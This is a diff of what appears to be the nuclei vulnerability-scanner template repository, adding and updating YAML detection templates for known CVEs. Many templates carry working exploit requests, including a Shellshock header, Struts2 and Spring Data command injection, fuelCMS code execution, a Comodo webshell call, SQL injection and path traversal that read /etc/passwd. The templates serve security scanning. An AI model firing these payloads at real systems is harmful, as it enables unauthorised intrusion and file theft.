│ ├── supervpn-panel.yaml
|
||||
│ ├── swagger-panel.yaml
|
||||
│ ├── tikiwiki-cms.yaml
|
||||
│ ├── traefik-dashboard
|
||||
│ ├── traefik-dashboard.yaml
|
||||
│ ├── virtual-ema-detect.yaml
|
||||
│ ├── weave-scope-dashboard-detect.yaml
|
||||
│ ├── webeditors.yaml
|
||||
│ └── workspaceone-uem-airWatch-dashboard-detect.yaml
|
||||
├── payloads
|
||||
│ ├── CVE-2020-5776.csv
|
||||
│ └── CVE-2020-6287.xml
|
||||
├── security-misconfiguration
|
||||
│ ├── basic-cors-flash.yaml
|
||||
│ ├── basic-cors.yaml
|
||||
│ ├── django-debug-detect.yaml
|
||||
│ ├── drupal-user-enum-ajax.yaml
|
||||
│ ├── drupal-user-enum-redirect.yaml
|
||||
│ ├── front-page-misconfig.yaml
|
||||
│ ├── jira-service-desk-signup.yaml
|
||||
│ ├── jira-unauthenticated-dashboards.yaml
|
||||
│ ├── jira-unauthenticated-popular-filters.yaml
|
||||
│ ├── jira-unauthenticated-projects.yaml
|
||||
│ ├── jira-unauthenticated-user-picker.yaml
|
||||
│ ├── jupyter-ipython-unauth.yaml
|
||||
│ ├── larvel-debug.yaml
|
||||
│ ├── missing-csp.yaml
|
||||
│ ├── missing-hsts.yaml
|
||||
│ ├── missing-x-frame-options.yaml
|
||||
│ ├── put-method-enabled.yaml
|
||||
│ ├── rack-mini-profiler.yaml
|
||||
│ ├── sidekiq-dashboard.yaml
|
||||
│ ├── springboot-detect.yaml
|
||||
│ ├── unauthenticated-airflow.yaml
|
||||
│ ├── unauthenticated-jenkin-dashboard.yaml
|
||||
│ ├── wamp-xdebug-detect.yaml
|
||||
│ ├── wordpress-accessible-wpconfig.yaml
|
||||
│ └── zenphoto-installation-sensitive-info.yaml
|
||||
├── subdomain-takeover
|
||||
│ ├── detect-all-takeovers.yaml
|
||||
│ └── s3-subtakeover.yaml
|
||||
├── technologies
|
||||
│ ├── apache-detect.yaml
|
||||
│ ├── artica-web-proxy-detect.yaml
|
||||
│ ├── bigip-config-utility-detect.yaml
|
||||
│ ├── citrix-vpn-detect.yaml
|
||||
│ ├── clockwork-php-page.yaml
|
||||
│ ├── couchdb-detect.yaml
|
||||
│ ├── favicon-detection.yaml
|
||||
│ ├── github-enterprise-detect.yaml
|
||||
│ ├── gitlab-detect.yaml
|
||||
│ ├── graphql.yaml
|
||||
│ ├── home-assistant.yaml
|
||||
│ ├── jaspersoft-detect.yaml
|
||||
│ ├── jira-detect.yaml
|
||||
│ ├── liferay-portal-detect.yaml
|
||||
│ ├── linkerd-badrule-detect.yaml
|
||||
│ ├── linkerd-ssrf-detect.yaml
|
||||
│ ├── lotus-domino-version.yaml
|
||||
│ ├── magmi-detect.yaml
|
||||
│ ├── netsweeper-webadmin-detect.yaml
|
||||
│ ├── nifi-detech.yaml
|
||||
│ ├── prometheus-exporter-detect.yaml
|
||||
│ ├── prometheus-exposed-panel.yaml
|
||||
│ ├── s3-detect.yaml
|
||||
│ ├── sap-netweaver-as-java-detect.yaml
|
||||
│ ├── sap-netweaver-detect.yaml
|
||||
│ ├── shiro-detect.yaml
|
||||
│ ├── sql-server-reporting.yaml
|
||||
│ ├── tech-detect.yaml
|
||||
│ ├── tomcat-detect.yaml
|
||||
│ ├── weblogic-detect.yaml
|
||||
│ ├── werkzeug-debugger-detect.yaml
|
||||
│ └── what-waf-detect.yaml
|
||||
├── test.yaml
|
||||
├── tokens
|
||||
│ ├── amazon-mws-auth-token-value.yaml
|
||||
│ ├── aws-access-key-value.yaml
|
||||
│ ├── credentials-disclosure.yaml
|
||||
│ ├── fcm-server-key.yaml
|
||||
│ ├── google-api-key.yaml
|
||||
│ ├── http-username-password.yaml
|
||||
│ ├── mailchimp-api-key.yaml
|
||||
│ └── slack-access-token.yaml
|
||||
├── vulnerabilities
|
||||
│ ├── Symantec-Messaging-Gateway.yaml
|
||||
│ ├── bullwark-momentum-series-directory-traversal.yaml
|
||||
│ ├── cached-aem-pages.yaml
|
||||
│ ├── couchdb-adminparty.yaml
|
||||
│ ├── crlf-injection.yaml
|
||||
│ ├── discourse-xss.yaml
|
||||
│ ├── eclipse-help-system-xss.yaml
|
||||
│ ├── git-config-nginxoffbyslash.yaml
|
||||
│ ├── ibm-infoprint-directory-traversal.yaml
|
||||
│ ├── microstrategy-ssrf.yaml
|
||||
│ ├── mida-eframework-xss.yaml
|
||||
│ ├── moodle-filter-jmol-lfi.yaml
|
||||
│ ├── moodle-filter-jmol-xss.yaml
|
||||
│ ├── nginx-module-vts-xss.yaml
|
||||
│ ├── open-redirect.yaml
|
||||
│ ├── oracle-ebs-bispgraph-file-access.yaml
|
||||
│ ├── pdf-signer-ssti-to-rce.yaml
|
||||
│ ├── rce-shellshock-user-agent.yaml
|
||||
│ ├── rce-via-java-deserialization.yaml
|
||||
│ ├── sick-beard-xss.yaml
|
||||
│ ├── springboot-actuators-jolokia-xxe.yaml
|
||||
│ ├── springboot-h2-db-rce.yaml
|
||||
│ ├── symfony-debugmode.yaml
|
||||
│ ├── tikiwiki-reflected-xss.yaml
|
||||
│ ├── tomcat-manager-pathnormalization.yaml
|
||||
│ ├── twig-php-ssti.yaml
|
||||
│ ├── w3c-total-cache-ssrf.yaml
|
||||
│ ├── wems-manager-xss.yaml
|
||||
│ ├── wordpress-duplicator-path-traversal.yaml
|
||||
│ ├── wordpress-emails-verification-for-woocommerce.yaml
|
||||
│ ├── wordpress-social-metrics-tracker.yaml
|
||||
│ ├── wordpress-wordfence-xss.yaml
|
||||
│ └── x-forwarded-host-injection.yaml
|
||||
└── workflows
|
||||
├── artica-web-proxy-workflow.yaml
|
||||
├── bigip-pwner-workflow.yaml
|
||||
├── cisco-asa-workflow.yaml
|
||||
├── grafana-workflow.yaml
|
||||
├── jira-exploitaiton-workflow.yaml
|
||||
├── liferay-rce-workflow.yaml
|
||||
├── lotus-domino-workflow.yaml
|
||||
├── magmi-workflow.yaml
|
||||
├── mida-eframework-workflow.yaml
|
||||
├── netsweeper-preauth-rce-workflow.yaml
|
||||
├── rabbitmq-workflow.yaml
|
||||
├── sap-netweaver-workflow.yaml
|
||||
├── springboot-pwner-workflow.yaml
|
||||
├── vbulletin-workflow.yaml
|
||||
└── wordpress-workflow.yaml
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
14 directories, **338 templates**.
|
||||
|
||||
Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding.
|
||||
|
||||
------
|
||||
**Notes:**
|
||||
@@ -8,3 +400,4 @@ Please [read this detailed guide](https://github.com/projectdiscovery/nuclei-tem
|
||||
2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.
|
||||
|
||||
Thanks again for your contribution and keeping the community vibrant. :heart:
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
id: cve-2005-2428
|
||||
info:
|
||||
name: CVE-2005-2428 testing
|
||||
author: CasperGN
|
||||
severity: medium
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/names.nsf/People?OpenView"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: regex
|
||||
name: domino-username
|
||||
regex:
|
||||
- '(<a href\=\"/names\.nsf/[0-9a-z\/]+\?OpenDocument)'
|
||||
part: body
|
||||
@@ -0,0 +1,31 @@
|
||||
id: CVE-2014-6271
|
||||
|
||||
info:
|
||||
name: Shellshock
|
||||
author: pentest_swissky
|
||||
severity: high
|
||||
description: Attempts to exploit the "shellshock" vulnerability (CVE-2014-6271 and CVE-2014-7169) in web applications
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/"
|
||||
- "{{BaseURL}}/cgi-bin/status"
|
||||
- "{{BaseURL}}/cgi-bin/stats"
|
||||
- "{{BaseURL}}/cgi-bin/test"
|
||||
- "{{BaseURL}}/cgi-bin/status/status.cgi"
|
||||
- "{{BaseURL}}/test.cgi"
|
||||
- "{{BaseURL}}/debug.cgi"
|
||||
headers:
|
||||
Shellshock: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
|
||||
Referer: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
|
||||
Cookie: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:[x*]:0:0:"
|
||||
part: body
|
||||
@@ -0,0 +1,23 @@
|
||||
id: cve-2017-10075
|
||||
|
||||
info:
|
||||
name: Oracle Content Server XSS
|
||||
author: madrobot
|
||||
severity: medium
|
||||
description: The vulnerability can be used to include HTML or JavaScript code to the affected web page. The code is executed in the browser of users if they visit the manipulated site.
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=XXXXXXXXXXXX%3Cscript%3Ealert(31337)%3C%2Fscript%3E&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=OO"
|
||||
- "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=AAA&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=XXXXXXXXXXXX%3Cscript%3Ealert(31337)%3C%2Fscript%3E"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: word
|
||||
words:
|
||||
- "<script>alert(31337)</script>"
|
||||
part: body
|
||||
@@ -0,0 +1,24 @@
|
||||
id: cve-2017-11444
|
||||
|
||||
info:
|
||||
name: Subrion CMS SQL Injection
|
||||
author: dwisiswant0
|
||||
severity: high
|
||||
description: Subrion CMS before 4.1.5.10 has a SQL injection vulnerability in /front/search.php via the $_GET array.
|
||||
|
||||
# Source:
|
||||
# - https://mp.weixin.qq.com/s/89mCnjUCvmptLsKaeVlC9Q
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/search/members/?id`%3D520)%2f**%2funion%2f**%2fselect%2f**%2f1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2Cunhex%28%2770726f6a656374646973636f766572792e696f%27%29%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%23sqli=1"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "projectdiscovery.io"
|
||||
part: body
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -0,0 +1,51 @@
|
||||
id: cve-2017-14537
|
||||
|
||||
info:
|
||||
name: trixbox 2.8.0 - directory-traversal
|
||||
author: pikpikcu
|
||||
severity: medium
|
||||
|
||||
# Refrence:-https://nvd.nist.gov/vuln/detail/CVE-2017-14537
|
||||
# https://secur1tyadvisory.wordpress.com/2018/02/13/trixbox-multiple-path-traversal-vulnerabilities-cve-2017-14537/
|
||||
# Product vendor:-https://sourceforge.net/projects/asteriskathome/
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
POST /maint/index.php?packages HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Referer: {{Hostname}}/maint/index.php?packages
|
||||
Content-Length: 160
|
||||
Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2
|
||||
Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
|
||||
Connection: keep-alive
|
||||
|
||||
xajax=menu&xajaxr=1504969293893&xajaxargs[]=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&xajaxargs[]=yumPackages
|
||||
|
||||
- |
|
||||
GET /maint/modules/home/index.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00english HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Referer: {{Hostname}}/maint/index.php?packages
|
||||
Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2
|
||||
Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
|
||||
Connection: keep-alive
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:[x*]:0:0:"
|
||||
part: body
|
||||
@@ -0,0 +1,21 @@
|
||||
id: cve-2017-14849
|
||||
|
||||
info:
|
||||
name: Node.js 8.5.0 >=< 8.6.0 Directory Traversal
|
||||
author: Random-Robbie
|
||||
severity: high
|
||||
description: Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was incompatible with the pathname validation used by unspecified community modules.
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/static/../../../a/../../../../etc/passwd"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:[x*]:0:0:"
|
||||
part: body
|
||||
@@ -0,0 +1,30 @@
|
||||
id: cve-2017-5638
|
||||
info:
|
||||
author: "Random Robbie"
|
||||
name: "Struts2 RCE "
|
||||
severity: critical
|
||||
description: Struts is vulnerable to remote command injection attacks through incorrectly parsing an attacker’s invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.
|
||||
|
||||
# This template supports the detection part only.
|
||||
# Do not test any website without permission
|
||||
# Exploit:- https://github.com/mazen160/struts-pwn
|
||||
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
|
||||
Accept-Language: en
|
||||
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Hacker','Bounty Plz')}.multipart/form-data
|
||||
Connection: Keep-Alive
|
||||
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
|
||||
Pragma: no-cache
|
||||
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "X-Hacker: Bounty Plz"
|
||||
part: header
|
||||
@@ -0,0 +1,25 @@
|
||||
id: cve-2017-7391
|
||||
|
||||
info:
|
||||
name: Magmi – Cross-Site Scripting v.0.7.22
|
||||
author: pikpikcu
|
||||
severity: medium
|
||||
description: A Cross-Site Scripting (XSS) was discovered in 'Magmi 0.7.22'. The vulnerability exists due to insufficient filtration of user-supplied data (prefix) passed to the 'magmi-git-master/magmi/web/ajax_gettime.php' URL.
|
||||
|
||||
# Issues:-https://github.com/dweeves/magmi-git/issues/522
|
||||
# Download:-https://github.com/dweeves/magmi-git/releases/download/0.7.22/magmi_full_0.7.22.zip
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/magmi/web/ajax_gettime.php?prefix=%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3C"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: word
|
||||
words:
|
||||
- '"><script>alert(document.domain);</script><'
|
||||
part: body
|
||||
@@ -1,30 +0,0 @@
|
||||
id: CVE-2017-7529
|
||||
info:
|
||||
author: "Harsh Bothra"
|
||||
name: "Nginx Remote Integer Overflow"
|
||||
severity: medium
|
||||
|
||||
# This template supports the detection part only.
|
||||
# Do not test any website without permission
|
||||
# https://gist.githubusercontent.com/BlackVirusScript/75fae10a037c376555b0ad3f3da1a966/raw/d1cc081053636711881ea45c84e0971d5babe103/CVE-2017-7529.py
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Range: bytes=-17208,-9223372036854758792
|
||||
Accept-Encoding: gzip, deflate
|
||||
Connection: close
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 206
|
||||
- type: word
|
||||
words:
|
||||
- Content-Range
|
||||
part: all
|
||||
@@ -0,0 +1,38 @@
|
||||
id: cve-2017-7615
|
||||
|
||||
info:
|
||||
name: CVE-2017-7615
|
||||
author: bp0lr & dwisiswant0
|
||||
severity: high
|
||||
description: MantisBT through 2.3.0 allows arbitrary password reset and unauthenticated admin access via an empty confirm_hash value to verify.php.
|
||||
|
||||
|
||||
# THIS TEMPLATE IS ONLY FOR DETECTING
|
||||
# To carry out further attacks, please see reference[2] below.
|
||||
# This template works by guessing user ID.
|
||||
# MantisBT before 1.3.10, 2.2.4, and 2.3.1, that can be downloaded on reference[1].
|
||||
|
||||
# References:
|
||||
# - [1] https://sourceforge.net/projects/mantisbt/files/mantis-stable/
|
||||
# - [2] http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt
|
||||
# - [3] https://www.exploit-db.com/exploits/41890
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/verify.php?id=1&confirm_hash="
|
||||
- "{{BaseURL}}/mantis/verify.php?id=1&confirm_hash="
|
||||
- "{{BaseURL}}/mantisBT/verify.php?id=1&confirm_hash="
|
||||
- "{{BaseURL}}/mantisbt-2.3.0/verify.php?id=1&confirm_hash="
|
||||
- "{{BaseURL}}/bugs/verify.php?confirm_hash=&id=1"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "<input type=\"hidden\" name=\"account_update_token\" value=\"([a-zA-Z0-9_-]+)\""
|
||||
part: body
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -1,9 +1,10 @@
|
||||
id: CVE-2017-9506
|
||||
id: cve-2017-9506
|
||||
|
||||
info:
|
||||
name: Jira IconURIServlet SSRF
|
||||
author: Ice3man
|
||||
severity: high
|
||||
description: The IconUriServlet of the Atlassian OAuth Plugin from version 1.3.0 before version 1.9.12 and from version 2.0.0 before version 2.0.4 allows remote attackers to access the content of internal network resources and/or perform an XSS attack via Server Side Request Forgery (SSRF).
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
|
||||
@@ -0,0 +1,36 @@
|
||||
id: cve-2017-9841
|
||||
|
||||
info:
|
||||
name: CVE-2017-9841
|
||||
author: Random-Robbie
|
||||
severity: high
|
||||
description: Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI
|
||||
# Reference to exploit
|
||||
# https://github.com/cyberharsh/Php-unit-CVE-2017-9841
|
||||
# https://github.com/RandomRobbieBF/phpunit-brute
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/sites/all/libraries/mailchimp/vendor/phpunit/phpunit/phpunit"
|
||||
- "{{BaseURL}}/vendor/phpunit/phpunit/phpunit"
|
||||
- "{{BaseURL}}/laravel_api/vendor/phpunit/phpunit/phpunit"
|
||||
- "{{BaseURL}}/api/vendor/phpunit/phpunit/phpunit"
|
||||
- "{{BaseURL}}/apps/vendor/phpunit/phpunit/phpunit"
|
||||
- "{{BaseURL}}/backup/vendor/phpunit/phpunit/phpunit"
|
||||
- "{{BaseURL}}/oldsite/vendor/phpunit/phpunit/phpunit"
|
||||
- "{{BaseURL}}/lib/phpunit/phpunit/phpunit"
|
||||
- "{{BaseURL}}/modules/vendor/phpunit/phpunit/phpunit"
|
||||
- "{{BaseURL}}/old/vendor/phpunit/phpunit/phpunit"
|
||||
- "{{BaseURL}}/zend/vendor/phpunit/phpunit/phpunit"
|
||||
- "{{BaseURL}}/yii/vendor/phpunit/phpunit/phpunit"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "this version of phpunit requires php 5"
|
||||
part: body
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -1,4 +1,4 @@
|
||||
id: CVE-2018-0296
|
||||
id: cve-2018-0296
|
||||
|
||||
info:
|
||||
name: Cisco ASA path traversal vulnerability
|
||||
|
||||
@@ -1,16 +1,17 @@
|
||||
id: CVE-2018-1000129
|
||||
id: cve-2018-1000129
|
||||
|
||||
info:
|
||||
name: Jolokia XSS
|
||||
author: mavericknerd
|
||||
author: mavericknerd @0h1in9e
|
||||
severity: high
|
||||
description: An XSS vulnerability exists in the Jolokia agent version 1.3.7 in the HTTP servlet that allows an attacker to execute malicious javascript in the victim's browser.
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
|
||||
- "{{BaseURL}}/api/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
|
||||
- "{{BaseURL}}:8080/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
|
||||
- "{{BaseURL}}/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
|
||||
- "{{BaseURL}}/api/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
|
||||
- "{{BaseURL}}:8080/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
@@ -18,5 +19,9 @@ requests:
|
||||
- 200
|
||||
- type: word
|
||||
words:
|
||||
- "<svg/onload=alert(1337)>"
|
||||
- "<svg onload=alert(document.domain)>"
|
||||
part: body
|
||||
- type: word
|
||||
words:
|
||||
- "text/html"
|
||||
part: header
|
||||
@@ -1,4 +1,4 @@
|
||||
id: CVE-2018-11409
|
||||
id: cve-2018-11409
|
||||
|
||||
info:
|
||||
name: Splunk Sensitive Information Disclosure
|
||||
|
||||
@@ -1,16 +1,17 @@
|
||||
id: CVE-2018-11759
|
||||
id: cve-2018-11759
|
||||
|
||||
info:
|
||||
name: Apache Tomcat JK Status Manager Access
|
||||
author: Harsh Bothra
|
||||
severity: Medium
|
||||
severity: medium
|
||||
|
||||
# source:- https://github.com/immunIT/CVE-2018-11759
|
||||
# Source:- https://github.com/immunIT/CVE-2018-11759
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}/jkstatus'
|
||||
- '{{BaseURL}}/jkstatus;'
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
id: CVE-2018-1247
|
||||
id: cve-2018-1247
|
||||
|
||||
info:
|
||||
name: RSA Authentication Manager XSS
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
id: CVE-2018-1271
|
||||
id: cve-2018-1271
|
||||
|
||||
info:
|
||||
name: Spring MVC Directory Traversal Vulnerability
|
||||
author: hetroublemakr
|
||||
severity: High
|
||||
severity: high
|
||||
# reference: https://medium.com/@knownsec404team/analysis-of-spring-mvc-directory-traversal-vulnerability-cve-2018-1271-b291bdb6be0d
|
||||
|
||||
requests:
|
||||
|
||||
@@ -0,0 +1,34 @@
|
||||
id: cve-2018-1273
|
||||
|
||||
info:
|
||||
name: Spring Data Commons Unauthenticated RCE
|
||||
author: dwisiswant0
|
||||
severity: critical
|
||||
description: |
|
||||
Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5,
|
||||
and older unsupported versions, contain a property binder vulnerability
|
||||
caused by improper neutralization of special elements.
|
||||
An unauthenticated remote malicious user (or attacker) can supply
|
||||
specially crafted request parameters against Spring Data REST backed HTTP resources
|
||||
or using Spring Data’s projection-based request payload binding hat can lead to a remote code execution attack.
|
||||
|
||||
requests:
|
||||
- payloads:
|
||||
command:
|
||||
- "cat /etc/passwd"
|
||||
- "type C:\\/Windows\\/win.ini"
|
||||
raw:
|
||||
- |
|
||||
POST /account HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Connection: close
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('{{url_encode('command')}}')]=nuclei
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:[x*]:0:0:"
|
||||
- "\\[(font|extension|file)s\\]"
|
||||
condition: or
|
||||
part: body
|
||||
@@ -1,4 +1,4 @@
|
||||
id: CVE-2018-13379
|
||||
id: cve-2018-13379
|
||||
|
||||
info:
|
||||
name: FortiOS - Credentials Disclosure
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
id: CVE-2018-14728
|
||||
id: cve-2018-14728
|
||||
|
||||
info:
|
||||
name: Responsive filemanager 9.13.1 - SSRF/LFI
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
id: CVE-2018-16341
|
||||
id: cve-2018-16341
|
||||
|
||||
info:
|
||||
name: Nuxeo Authentication Bypass Remote Code Execution
|
||||
author: madrobot
|
||||
severity: high
|
||||
|
||||
description: Nuxeo Authentication Bypass Remote Code Execution < 103 using a SSTI
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
|
||||
@@ -0,0 +1,26 @@
|
||||
id: cve-2018-16763
|
||||
|
||||
info:
|
||||
name: fuelCMS 1.4.1 - Remote Code Execution
|
||||
author: pikpikcu
|
||||
severity: critical
|
||||
|
||||
# Vendor Homepage: https://www.getfuelcms.com/
|
||||
# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
|
||||
# Refrence: https://www.exploit-db.com/exploits/47138
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
GET /fuel/pages/select/?filter=%27%2bpi(print(%24a%3d%27system%27))%2b%24a(%27cat%20/etc/passwd%27)%2b%27 HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:[x*]:0:0:"
|
||||
@@ -0,0 +1,33 @@
|
||||
id: cve-2018-17431
|
||||
|
||||
info:
|
||||
name: Comodo Unified Threat Management Web Console 2.7.0 - RCE
|
||||
author: dwisiswant0
|
||||
severity: critical
|
||||
description: Comodo Firewall & Central Manager (UTM) All Release before 2.7.0 & 1.5.0 Remote Code Execution (Web Shell based)
|
||||
|
||||
# References:
|
||||
# - https://www.exploit-db.com/exploits/48825
|
||||
# - https://secure.comodo.com/home/purchase.php?pid=106&license=try&track=9276&af=9276
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
GET /manage/webshell/u?s=5&w=218&h=15&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=62&_=5621298674064 HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Connection: close
|
||||
|
||||
- | # to triggering RCE
|
||||
GET /manage/webshell/u?s=5&w=218&h=15&k=%0a&l=62&_=5621298674064 HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Connection: close
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Configuration has been altered"
|
||||
part: body
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -1,9 +1,10 @@
|
||||
id: CVE-2018-18069
|
||||
id: cve-2018-18069
|
||||
|
||||
info:
|
||||
name: Wordpress unauthenticated stored xss
|
||||
author: nadino
|
||||
severity: medium
|
||||
